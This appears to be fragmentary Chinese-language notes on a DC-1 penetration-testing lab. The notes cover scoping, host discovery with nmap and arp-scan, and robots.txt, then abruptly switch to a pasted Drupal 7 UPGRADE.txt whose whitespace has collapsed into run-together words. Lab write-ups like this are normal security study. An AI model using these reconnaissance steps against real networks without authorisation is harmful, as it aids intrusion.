一、范围界定
这个范围实验
二、信息收集
三、目标识别
1）主机发现
这里因为DC-1并不知道密码且无法登录，所以无法设置并知道DC-1主机的ip地址
这里使用nmap对10.14.0.0网段进行扫描
也可以使用arp进行二层主机扫描（arp请求嗅探）
值得注意的是arp-scan与nmap发出的是arp请求嗅探
2）端口扫描

robots.txt是网站的一种协议文件。它主要有以下作用：
- 指引搜索引擎爬虫：告诉搜索引擎哪些页面可以抓取，哪些不可以抓取。例如，可以禁止搜索引擎访问网站后台管理页面等敏感区域。
- 控制抓取频率：可以对搜索引擎抓取网站内容的频率进行一定程度的限制

INTRODUCTION
------------
This document describes how to:* Update your Drupal site from one minor 7.x version to another minor 7.xversion; for example, from 7.8 to 7.9, or from 7.6 to 7.10.* Upgrade your Drupal site's major version from 6.x to 7.x.First steps and definitions:* If you are upgrading to Drupal version x.y, then x is known as the majorversion number, and y is known as the minor version number. The downloadfile will be named drupal-x.y.tar.gz (or drupal-x.y.zip).* All directories mentioned in this document are relative to the directory ofyour Drupal installation.* Make a full backup of all files, directories, and your database(s) beforestarting, and save it outside your Drupal installation directory.Instructions may be found at http://drupal.org/upgrade/backing-up-the-db* It is wise to try an update or upgrade on a test copy of your site beforeapplying it to your live site. Even minor updates can cause your site'sbehavior to change.* Each new release of Drupal has release notes, which explain the changes madesince the previous version and any special instructions needed to update orupgrade to the new version. You can find a link to the release notes for theversion you are upgrading or updating to on the Drupal project page(http://drupal.org/project/drupal).UPGRADE PROBLEMS
----------------
If you encounter errors during this process,* Note any error messages you see.* Restore your site to its previous state, using the file and database backupsyou created before you started the upgrade process. Do not attempt to dofurther upgrades on a site that had update problems.* Consult one of the support options listed on http://drupal.org/supportMore in-depth information on upgrading can be found at http://drupal.org/upgradeMINOR VERSION UPDATES
---------------------
To update from one minor 7.x version of Drupal to any later 7.x version, after
following the instructions in the INTRODUCTION section at the top of this file:1. Log in as a user with the permission "Administer software updates".2. Go to Administration > Configuration > Development > Maintenance mode.Enable the "Put site into maintenance mode" checkbox and save theconfiguration.3. Remove all old core files and directories, except for the 'sites' directoryand any custom files you added elsewhere.If you made modifications to files like .htaccess or robots.txt, you willneed to re-apply them from your backup, after the new files are in place.Sometimes an update includes changes to default.settings.php (this will benoted in the release notes). If that's the case, follow these steps:- Make a backup copy of your settings.php file, with a different file name.- Make a copy of the new default.settings.php file, and name the copysettings.php (overwriting your previous settings.php file).- Copy the custom and site-specific entries from the backup you made into thenew settings.php file. You will definitely need the lines giving thedatabase information, and you will also want to copy in any othercustomizations you have added.4. Download the latest Drupal 7.x release from http://drupal.org to adirectory outside of your web root. Extract the archive and copy the filesinto your Drupal directory.On a typical Unix/Linux command line, use the following commands to downloadand extract:wget http://drupal.org/files/projects/drupal-x.y.tar.gztar -zxvf drupal-x.y.tar.gzThis creates a new directory drupal-x.y/ containing all Drupal files anddirectories. Copy the files into your Drupal installation directory:cp -R drupal-x.y/* drupal-x.y/.htaccess /path/to/your/installationIf you do not have command line access to your server, download the archivefrom http://drupal.org using your web browser, extract it, and then use anFTP client to upload the files to your web root.5. Re-apply any modifications to files such as .htaccess or robots.txt.6. Run update.php by visiting http://www.example.com/update.php (replacewww.example.com with your domain name). This will update the core databasetables.If you are unable to access update.php do the following:- Open settings.php with a text editor.- Find the line that says:$update_free_access = FALSE;- Change it into:$update_free_access = TRUE;- Once the upgrade is done, $update_free_access must be reverted to FALSE.7. Go to Administration > Reports > Status report. Verify that everything isworking as expected.8. Ensure that $update_free_access is FALSE in settings.php.9. Go to Administration > Configuration > Development > Maintenance mode.Disable the "Put site into maintenance mode" checkbox and save theconfiguration.MAJOR VERSION UPGRADE
---------------------
To upgrade from a previous major version of Drupal to Drupal 7.x, after
following the instructions in the INTRODUCTION section at the top of this file:1. Check on the Drupal 7 status of your contributed and custom modules andthemes. See http://drupal.org/node/948216 for information on upgradingcontributed modules and themes. See http://drupal.org/node/895314 for a listof modules that have been moved into core for Drupal 7, and instructions onhow to update them. See http://drupal.org/update/modules for information onhow to update your custom modules, and http://drupal.org/update/theme forcustom themes.You may decide at this point that you cannot upgrade your site, becauseneeded modules or themes are not ready for Drupal 7.2. Update to the latest available version of Drupal 6.x (if your current versionis Drupal 5.x, you have to upgrade to 6.x first). If you need to update,download Drupal 6.x and follow the instructions in its UPGRADE.txt. Thisdocument only applies for upgrades from 6.x to 7.x.3. In addition to updating to the latest available version of Drupal 6.x core,you must also upgrade all of your contributed modules for Drupal to theirlatest Drupal 6.x versions.4. Log in as user ID 1 (the site maintenance user).5. Go to Administer > Site configuration > Site maintenance. Select"Off-line" and save the configuration.6. Go to Administer > Site building > Themes. Enable "Garland" and select it asthe default theme.7. Go to Administer > Site building > Modules. Disable all modules that are notlisted under "Core - required" or "Core - optional". It is possible that somemodules cannot be disabled, because others depend on them. Repeat this stepuntil all non-core modules are disabled.If you know that you will not re-enable some modules for Drupal 7.x and youno longer need their data, then you can uninstall them under the Uninstalltab after disabling them.8. On the command line or in your FTP client, remove the filesites/default/default.settings.php9. Remove all old core files and directories, except for the 'sites' directoryand any custom files you added elsewhere.If you made modifications to files like .htaccess or robots.txt, you willneed to re-apply them from your backup, after the new files are in place.10. If you uninstalled any modules, remove them from the sites/all/modules andother sites/*/modules directories. Leave other modules in place, even thoughthey are incompatible with Drupal 7.x.11. Download the latest Drupal 7.x release from http://drupal.org to adirectory outside of your web root. Extract the archive and copy the filesinto your Drupal directory.On a typical Unix/Linux command line, use the following commands to downloadand extract:wget http://drupal.org/files/projects/drupal-x.y.tar.gztar -zxvf drupal-x.y.tar.gzThis creates a new directory drupal-x.y/ containing all Drupal files anddirectories. Copy the files into your Drupal installation directory:cp -R drupal-x.y/* drupal-x.y/.htaccess /path/to/your/installationIf you do not have command line access to your server, download the archivefrom http://drupal.org using your web browser, extract it, and then use anFTP client to upload the files to your web root.12. Re-apply any modifications to files such as .htaccess or robots.txt.13. Make your settings.php file writeable, so that the update process canconvert it to the format of Drupal 7.x. settings.php is usually located insites/default/settings.php14. Run update.php by visiting http://www.example.com/update.php (replacewww.example.com with your domain name). This will update the core databasetables.If you are unable to access update.php do the following:- Open settings.php with a text editor.- Find the line that says:$update_free_access = FALSE;- Change it into:$update_free_access = TRUE;- Once the upgrade is done, $update_free_access must be reverted to FALSE.15. Backup your database after the core upgrade has run.16. Replace and update your non-core modules and themes, following theprocedures at http://drupal.org/node/94821617. Go to Administration > Reports > Status report. Verify that everything isworking as expected.18. Ensure that $update_free_access is FALSE in settings.php.19. Go to Administration > Configuration > Development > Maintenance mode.Disable the "Put site into maintenance mode" checkbox and save theconfiguration.To get started with Drupal 7 administration, visit
